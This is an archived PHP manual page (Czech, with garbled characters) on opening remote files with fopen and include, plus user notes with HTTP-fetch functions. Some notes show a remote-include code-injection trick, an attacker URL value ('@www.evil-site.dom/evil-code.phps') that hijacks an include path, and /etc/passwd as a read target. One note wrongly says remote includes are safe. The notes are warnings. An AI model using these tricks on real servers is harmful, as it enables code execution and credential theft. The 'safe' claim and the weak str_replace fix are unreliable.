PHP: Pou�it� vzd�len�ch soubor� - Manual
PHP  
downloads | documentation | faq | getting help | mailing lists | | php.net sites | links | my php.net 
search for in the  
<Podpora metody PUTObsluha spojen�>
view the version of this page
Last updated: Thu, 15 Jul 2004

Kapitola 21. Pou�it� vzd�len�ch soubor�

Pokud p�i konfiguraci PHP aktivujete podporu "URL fopen wrapper" (standardn� je zapnut�, leda�e pro configure explicitn� zad�te --disable-url-fopen-wrapper p��znak (verze do 4.0.3), nebo (u nov�j��ch verz�) nastav�te allow_url_fopen v php.ini na off), m��ete ve vol�n�ch v�t�iny funkc�, kter� o�ek�vaj� jako argument n�zev souboru (v�etn� require() a include()) uv�st HTTP nebo FTP URL.

Pozn�mka: Na Windows nelze pou��vat vzd�len� soubory v include() a require() v�razech.

M��ete nap��klad otev��t soubor na vzd�len�m web serveru, vyseparovat z v�stupu data, kter� pot�ebujete, a tato data potom pou��t v dotazu na datab�zi, nebo je prost� za�lenit do v�stupu stylem odpov�daj�c�m zbytku va�� web site.

P��klad 21-1. Z�sk�n� n�zvu vzd�len� str�nky

<?php
$file
= fopen ("http://www.php.net/", "r");
if (!
$file) {
   echo
"<p>Nelze otev��t vzd�len� soubor.\n";
   exit;
}
while (!
feof ($file)) {
  
$line = fgets ($file, 1024);
  
/* Toto bude fungovat pouze pokud jsou tagy a n�zev na jedn� ��dce */
  
if (eregi ("<title>(.*)</title>", $line, $out)) {
      
$title = $out[1];
       break;
   }
}
fclose($file);
?>

Pokud se p�ipoj�te jako u�ivatel s dostate�n�mi pr�vy, a dan� soubor u� neexistuje, m��ete data tak� ukl�dat po FTP. Pokud se chcete p�ipojit jako jin� u�ivatel ne� 'anonymous', mus�te v URL udat u�ivatelsk� jm�no (a pravd�podobn� i heslo), nap�. 'ftp://uzivatel:[email protected]/path/to/file'. (Pro p��stup k soubor�m p�es HTTP, kter� vy�aduj� Basic authentication, m��ete pou��t stejnou syntaxi.)

P��klad 21-2. Ulo�en� dat na vzd�len�m serveru

<?php
$file
= fopen ("ftp://ftp.php.net/incoming/outputfile", "w");
if (!
$file) {
   echo
"<p>Nelze otev��t vzd�len� soubor pro z�pis.\n";
   exit;
}
/* Zap�eme data. */
fputs ($file, "$HTTP_USER_AGENT\n");
fclose ($file);
?>

Pozn�mka: Z v��e uveden�ho p��kladu by v�s mohlo napadnout vyu��t tuto techniku k z�pisu do vzd�len�ho logu, ale jak u� bylo zm�n�no v��e, pomoc� URL fopen() wrapperu m��ete zapisovat pouze do nov�ho souboru. Pokud m�te z�jem o distribuovan� logov�n�, pod�vejte se na syslog().



add a note add a note User Contributed Notes
Pou�it� vzd�len�ch soubor�
heck at fas dot harvard dot edu
17-Sep-2004 02:00
Sorry. My previous post concerned the one at the bottom of the page, not the one just before it.

It is additionally worth noting, of course, that if you include remote files that are not PHP files, they might contain PHP code which would then be executed on your local machine. Or if it is a PHP file, and the remote machine doesn't interpret PHP, then it will be executed on your local machine. Etc.
heck at fas dot harvard dot edu
14-Sep-2004 07:06
The previous post is part right, part wrong. It's part right because it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.

However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system(\"hostname\"); ?>";
?>
I'm guessing you can figure out what that's gonna do.

So yes, remote includes can be a major security problem.
caruccio at operamail dot com
06-Apr-2004 10:48
Based on function submited from webmaster at elcurriculum dot com, I wrote this little function to retrieve http too. It handle cookies, redirection, send and received headers, POST, GET and HEAD. Here it is (caution, untested code):

<?php
function GetURL($url, $send_header, &$ret_header, $query = array(), $method = "GET")
{
  
$header = ''; // guarda os cabecalhos da resposta
  
$body  = ''// guarda o corpo da resposta
  
$buffer = ''; // buffer de leitura do socket

  
$ret_header = array();

  
$url_stuff = parse_url($url);

   if (!isset(
$url_stuff["path"]))
      
$url_stuff["path"] = "/";

   if (isset(
$url_stuff["query"]))
      
$_query = http_build_query($url_stuff["query"]);

   if (
sizeof($query))
      
$_query = http_build_query($query);

  
$fp = fsockopen ($url_stuff['host'], 80, $errno, $errstr, 30);

   if (
$fp) {
       if (
$method == "POST") {
          
$header  = "$method $url_stuff[path] HTTP/1.1\r\n";
          
$header .= "Content-length: " . strlen($_query) . "\r\n";
          
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
       } else {
          
// montar os cabe�alhos de envio
          
if (isset($url_stuff['query']))
              
$header  = "$method $url_stuff[path]?$url_stuff[query] HTTP/1.1\r\n";
           else
              
$header  = "$method $url_stuff[path] HTTP/1.1\r\n";
       }

      
$header .= "Host: $url_stuff[host]\r\n";
       foreach (
$send_header as $hname => $hvalue)
          
$header .= "$hname: $hvalue\r\n";
      
$header .= "\r\n";

      
// enviar os cabecalhos
      
fputs($fp, $header);
       if (
$method == "POST")
          
fputs($fp, $_query);

      
// ler a resposta (cabecalhos + corpo)
      
while (!feof($fp))
          
$buffer .= fgets($fp, 4096);

      
// separar cabecalhos do corpo ( [cabechalho]\r\n\r\n[corpo] )
      
$ret = strpos($buffer, "\r\n\r\n", 0);
       if (
$ret == false) {
          
fclose($fp);
           return -
1;
       }

      
$header = substr($buffer, 0, $ret); // cabecalho da respota
      
$body  = substr($buffer, $ret + 4); // corpo da resposta

      
$header = str_replace("\r\n" , "\n", $header);
      
$array_h = explode("\n", $header);

       foreach (
$array_h as $line => $val) {
           if (
strpos($val, "HTTP/1") !== 0) {
              
$h = explode(":", $val);
              
$v = $h;
              
$h = $h[0];
              
array_shift($v); // shift left
              
$v = implode(":", $v); // reconstruct value
              
$ret_header[$h] = $v;

              
// save cookies
              
if (strtolower($h) === "set-cookie")
                  
$send_header['Cookie'] = $v;

           } else {
              
$ret_header['HTTP'] = $val;
              
$ret_header['HTTP_VERSION'] = substr($val, 5, 3);
              
$ret_header['HTTP_RETURN'] = substr($val, 9, 3);
              
$ret_header['HTTP_MESSAGE'] = substr($val, 12);
           }
       }

      
// Se o cabecalho possuir um campo "Location", segui-lo...
      
if (isset($ret_header['Location'])) {
          
$body = GetURL($ret_header['Location'], $send_header, $ret_header);
       }
      
fclose ($fp);
   }

   return
$body;
}
?>

Examples:

<?php
echo "TEST REDIRECT\n\n";
$url = ""; // redirect to www.google.com
$body = GetURL($url, $send_header, $ret_header);

echo
'$ret_reader: ';
print_r($ret_header);

echo
"\nBody\n=================\n";
echo
$body;

echo
"\n\nTEST QUERY + HEADERS\n\n";

$url = "";
$send_header = array("Header_1" => "value123", "Header_2" => "value456");
$ret_header = array();
$query = array("q1" => "v1", "q2" => "v2");

$body = GetURL($url, $send_header, $ret_header, $query);

echo
'$ret_reader: ';
print_r($ret_header);

echo
"\nBody\n=================\n";
echo
$body;

// test post (should return "501 Not Implemented")
echo "\n\nTEST POST + REDIRECT + QUERY\n\n";

$url = "";
$body = GetURL($url, $send_header, $ret_header, $query, "POST");

echo
'$ret_reader: ';
print_r($ret_header);

echo
"\nBody\n=================\n";
echo
$body;
?>
webmaster at elcurriculum dot com
17-Oct-2003 12:35
This function get HTML source from url. Follow all locations to last site. Ideal for Search Engine.

$url = web site to explore.
$delta = last url from location
$corto = if corto is true stop function when the tag is <body>. (This is for get metatags and title).
$complet = if complet is true return all body of page. Else return only $delta. (This is for get redirect from image: <img src=)

<?php
function GetHTML ($url, &$delta, $corto = false, $complet = true) {
 
$url_stuff = parse_url($url);
 
$fp = fsockopen ($url_stuff['host'], 80, $errno, $errstr, 30);
  if (!
$fp) {
   exit;
  } else {
  
$header = "GET " . $url_stuff['path'] . "?" . $url_stuff['query'] ;
  
$header = $header . " HTTP/1.0\r\nHost: " . $url_stuff['host'] . "\r\n\r\n";
  
fputs ($fp, $header);
  
//Separar contenido...
  
$header = '';
  
$body = '';
  
$act = false;
  
$fin = false;
   while ((!
feof($fp)) && !$fin) {
      
$line = fgets ($fp,1024);
       if (!
$act) {
       if (
strpos($line, "\r\n", 0) == 0) {
          
$header .= $line;
           if (!
$complet) $fin = true;
            
$act = true;
           } else {
            
$header .= $line;
           }
       } else {
         if (
$corto) {
           if (
eregi ("<body([^>]*)>", $line, $o)) $fin = true;
         }
       if (!
$fin) $body = $body . $line;
       }
   }

  
//Seguir location...
  
$ret = strpos($header, "Location:", 0);
     if (
$ret !== false) {
    
$fin = strpos($header, "\r\n", $ret +9);
    
$nueva = substr($header, $ret+9, $fin - $ret - 9);
    
$body = GetHTML($nueva, $delta, $corto, $complet);
     } else {
    
$delta = $url;
   }

  
fclose ($fp);
 }

 return
$body;
}

// Example:
$url = "";
echo
GetHTML($url,$a,true);
echo
"<br>Go to url: $a";
?>

By Tryke. (Jose Mar�a Rodr�guez Valls).

geoffrey at nevra dot net
05-Aug-2003 12:25
ok, here is the story:

I was trying to download remote images, finding urls throught apache indexs with regexps and fopen()ing them to get the datas. It didn't work. I thought about binary considerations. Putting the 'b' in the second argument of fopen didn't help much, my browser still didn't want to display the images. I finally understood by watching the datas i was getting from the remote host: it was an html page ! hey, i didn't know apache sent html pages when requesting images, did you ?
the right way is then to send an http request via fsockopen. Here comes my second problem, using explode("\n\n", $buffer); to get rid of the headers. The right way is to get the value of the Content-Lenght field and use it in substr($buffer, -$Content-Lenght);

finally, here is my own function to download these files:

<?php
function http_get($url)
{

  
$url_stuff = parse_url($url);
  
$port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;

  
$fp = fsockopen($url_stuff['host'], $port);

  
$query  = 'GET ' . $url_stuff['path'] . " HTTP/1.0\n";
  
$query .= 'Host: ' . $url_stuff['host'];
  
$query .= "\n\n";

  
fwrite($fp, $query);

   while (
$tmp = fread($fp, 1024))
   {
      
$buffer .= $tmp;
   }

  
preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
   return
substr($buffer, - $parts[1]);
?>

}

ho, maybe you'll say i could have parsed the page to get rid of the html stuff, but i wanted to experience http a little ;)
jules at acris dot co dot uk
10-Jul-2003 03:08
Note that in the last example, you could still request a dodgy file from the local server.  For instance, /etc/passwd may allow you to get some encrypted passwords to run a cracking attempt against...  /var/lib/mysql/mysql/user.MYD may also be a target for this kind of thing if you run mysql.
robro at compsoc dot nuigalway dot ie dot nospam
14-Jan-2003 02:37
The easiest way I'd see around the security hold mentioned above would be to turn off allow_url_fopen, using ini_set.

If that is not acceptable you can simply str_replace out the :// part that seperates the protocol from the address.

<?php
include( str_replace("://", "", $whatever) );
?>

should do the trick.
php at jerde dot net
06-May-2002 09:22
You must be VERY careful if you allow a variable to control the URL of an include()ed file.

A previous poster suggested:
include("".$HTTP_GET_VARS["url"]);

This, however, won't work in all cases. For example, set the variable to "@www.evil-site.dom/evil-code.phps"

Your carefully constructed pre-URL is now sent merely as a username to the attacker's web site.

Stripping out "@" and ":" would be a good idea, and THEN you'd probably be safe.

 - Peter Jerde
Minneapolis, Minnesota, USA
toby at butzon dot com
19-Apr-2002 12:15
It's important to understand that remote files included/required into your script are NOT run on your server (as previous posts have suggested).

Think about it this way: When I do this:

<?php include('); ?>

..I'm actually asking PHP to make a separate HTTP request (just as your Web browser would) to www.example.com. So, point your browser to that location. Do you see any PHP code? No. You will only see HTML/text content.

(On the off chance that .php wasn't associated with the PHP module/binary, the code would only be displayed. Thus, you would have to TRY to make a dangerous include scenario -- such as eval()'ing a remoted included file specified by the user.)

Therefore, although this code may be vulnerable to an "untrustworthy information" attack (where the information displayed by your Web site isn't actually information you endorse, even though the information is ultimately transferred from your Web server), you are NOT vulnerable to malicious access to your Web server resources, even if visitors can specify any remote server/file that they please.

<Podpora metody PUTObsluha spojen�>
 Last updated: Thu, 15 Jul 2004
show source | credits | sitemap | contact | advertising | mirror sites 
Copyright © 2001-2004 The PHP Group
All rights reserved.
This unofficial mirror is operated at: /
Last updated: Sun Nov 14 23:09:54 2004 Local time zone must be set--see zic manual page